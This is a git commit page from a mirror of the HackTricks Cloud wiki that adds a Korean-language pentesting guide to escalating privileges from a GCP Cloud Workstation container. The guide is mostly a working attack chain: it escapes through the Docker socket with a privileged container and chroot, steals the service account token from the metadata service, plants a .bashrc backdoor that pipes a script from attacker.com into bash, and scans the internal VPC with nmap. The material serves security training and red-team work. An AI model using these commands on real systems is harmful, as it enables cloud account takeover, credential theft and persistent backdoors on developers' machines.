mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 14:47:17 -07:00
Translated ['src/pentesting-cloud/gcp-security/gcp-privilege-escalation/
This commit is contained in:
+96
@@ -0,0 +1,96 @@
|
||||
# GCP - Cloud Workstations Privesc
|
||||
|
||||
|
||||
### Container Breakout via Docker Socket (Container -> VM -> Project)
|
||||
|
||||
Cloud Workstations에서 주요 권한 상승 경로는 개발자를 위한 **Docker-in-Docker (DinD)** 워크플로를 지원해야 한다는 요구사항에서 비롯된다. workstation 구성에서 Docker socket을 마운트하거나 privileged containers를 허용하면(일반적인 구성), workstation container 내부의 공격자는 기본 Compute Engine VM으로 탈출하여 서비스 계정 토큰(service account token)을 탈취할 수 있다.
|
||||
|
||||
**Prerequisites:**
|
||||
- Cloud Workstation 터미널에 접근 가능(SSH, 탈취된 세션 또는 도난된 자격증명)
|
||||
- workstation 구성에서 `/var/run/docker.sock`를 마운트하거나 privileged containers를 활성화해야 함
|
||||
|
||||
**Architecture context:** workstation은 container(Layer 3)로서 Docker/Containerd runtime(Layer 2) 위에서 GCE VM(Layer 1)에서 실행된다. Docker socket은 호스트의 container runtime에 대한 직접 접근을 제공한다.
|
||||
|
||||
> [!NOTE]
|
||||
> The tool [gcp-workstations-containerEscapeScript](https://github.com/AI-redteam/gcp-workstations-containerEscapeScript) 자동화하여 전체 container escape를 수행하고 호스트 VM에서 root shell로 진입시켜준다.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Step 1: Check for Docker socket</summary>
|
||||
```bash
|
||||
# Verify the Docker socket is available
|
||||
ls -l /var/run/docker.sock
|
||||
# Expected output: srw-rw---- 1 root docker 0 ...
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>단계 2: 호스트 VM 파일시스템으로 탈출</summary>
|
||||
|
||||
우리는 privileged 컨테이너를 실행하여 호스트의 루트 디렉터리를 `/mnt/host`에 마운트합니다. 또한 가시성을 최대화하기 위해 호스트의 네트워크와 PID namespace를 공유합니다.
|
||||
```bash
|
||||
# Spawn a privileged container mounting the host's root filesystem
|
||||
docker run -it --rm --privileged --net=host --pid=host \
|
||||
-v /:/mnt/host \
|
||||
alpine sh
|
||||
|
||||
# Inside the new container, chroot into the host
|
||||
chroot /mnt/host /bin/bash
|
||||
```
|
||||
이제 **기반 Compute Engine VM의 root shell**을 확보했습니다 (Layer 1).
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>3단계: IMDS에서 VM service account token 탈취</summary>
|
||||
```bash
|
||||
# From the host VM, query the Instance Metadata Service
|
||||
curl -s -H "Metadata-Flavor: Google" \
|
||||
http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token
|
||||
|
||||
# Check which service account is attached
|
||||
curl -s -H "Metadata-Flavor: Google" \
|
||||
http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
|
||||
|
||||
# Check scopes (CRITICAL STEP)
|
||||
curl -s -H "Metadata-Flavor: Google" \
|
||||
http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/scopes
|
||||
```
|
||||
</details>
|
||||
|
||||
> [!CAUTION]
|
||||
> **Check the Scopes!**
|
||||
> 연결된 Service Account가 **Editor**일지라도, VM은 access scopes에 의해 제한될 수 있습니다.
|
||||
> `https://www.googleapis.com/auth/cloud-platform`가 보이면 전체 권한을 가지고 있습니다.
|
||||
> `logging.write`와 `monitoring.write`만 보인다면 아래의 **Network Pivot** 및 **Persistence** 벡터로 제한됩니다.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>4단계: Achieve Persistence (Backdoor the User)</summary>
|
||||
|
||||
Cloud Workstations는 `/home/user`에 영구 디스크를 마운트합니다. 컨테이너 사용자(보통 `user`, UID 1000)가 호스트 사용자(UID 1000)와 일치하므로 호스트의 홈 디렉터리에 쓸 수 있습니다. 이는 workstation container가 재생성되더라도 환경에 backdoor를 심을 수 있게 해줍니다.
|
||||
```bash
|
||||
# Check if you can write to the host's persistent home
|
||||
ls -la /mnt/host/home/user/
|
||||
|
||||
# Drop a backdoor that executes next time the developer logs in
|
||||
# Note: Do this from the container escape context
|
||||
echo "curl http://attacker.com/shell | bash" >> /mnt/host/home/user/.bashrc
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Step 5: Network Pivot (Internal VPC Access)</summary>
|
||||
|
||||
호스트 네트워크 네임스페이스(`--net=host`)를 공유하므로 이제 VPC에서 신뢰된 노드가 됩니다. IP whitelisting을 기반으로 접근을 허용하는 internal services를 scan할 수 있습니다.
|
||||
```bash
|
||||
# Install scanning tools on the host (if internet access allows)
|
||||
apk add nmap
|
||||
|
||||
# Scan the internal VPC subnet
|
||||
nmap -sS -p 80,443,22 10.0.0.0/8
|
||||
```
|
||||
</details>
|
||||
Reference in New Issue
Block a user